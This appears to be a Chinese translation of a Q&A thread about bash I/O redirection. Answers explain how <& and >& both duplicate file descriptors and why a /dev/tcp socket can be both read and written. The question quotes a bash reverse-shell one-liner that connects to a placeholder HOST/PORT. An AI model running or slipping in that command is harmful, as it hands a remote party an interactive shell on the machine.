![了解 Bash 中的 I/O 重定向](https://linux22.com/image/74694/%E4%BA%86%E8%A7%A3%20Bash%20%E4%B8%AD%E7%9A%84%20I%2FO%20%E9%87%8D%E5%AE%9A%E5%90%91.png)
当我发现这个时,我正在寻找一种在 bash 中获得反向 shell 的方法:
bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1
据我了解,stdout和stderr是通过connection( /dev/tcp/HOST/PORT
)发送的,stdin是通过connection( 0<&1
)读取的。但是,正如我读到的这里,表达式 0>&1 也有效。这对我来说没有意义(据我所知,>
是“写入以下 fd”和<
“从以下 fd 读取”)并且只应该以第一种方式工作。
我的问题是:我是否忘记了什么或者我完全错了?此 I/O 重定向示例涉及哪些内部流程?
答案1
<&
和语法之间的唯一区别>&
是,前者检查目标文件描述符是否打开以供输入,后者检查是否打开以供输出。两种情况下的实际操作是相同的(可能是dup2
调用)。同时,不像大多数重定向那样> /dev/tcp/HOST/PORT
进行系统调用;open
该/dev/tcp
语法是 bash 的特殊情况,事实上 bash 正在打开一个套接字(然后它的行为就像一个正常的文件描述符 wrtread
和write
调用)。套接字不具有打开文件所具有的只读或只读属性;套接字允许读取和写入(shutdown(2)
如果您愿意,您可以选择其中的一半)。因此,bash 不会在使用的两种语法中出现重定向错误,并且由于调用dup2
相同,因此行为是相同的。
答案2
是的。<
>
指的是您在适用于 时所说的内容open()
。但是,当您使用预先存在的文件描述符时,您不会这样做 - 它们已经被open()
删除了。因此,您使用哪个标记并不重要,因为 shell 不会更改它已经获得的文件描述符的读/写特征 - 它只会更改dup()
它。
所以...
{ read v <&4; } 4>/dev/null
read: read error: 0: Bad file descriptor
但...
{ read v 0>&4; } 4</dev/null
……一点也不抱怨。
在上述两个示例中,文件描述符均已成功复制。 shell 不会抱怨 fd 重复,因为它工作得很好。这与之前抱怨的基本相同:
{ echo hi there; read v; } 0>/dev/null
hi there
read: read error: 0: Bad file descriptor
它read
在那里抱怨,因为当它尝试从文件描述符零读取时,它会得到 EBADF。 shell 在第一个示例中成功地复制到 stdin,就像它在第二个示例中&4
成功地在 stdin 上执行只写一样。open()
实际上,在 fd dup 上下文中,<
and>
标记并非完全无关紧要,因为<&[num]
and仍然是and of course 的>&[num]
简写。0<&[num]
1>&[num]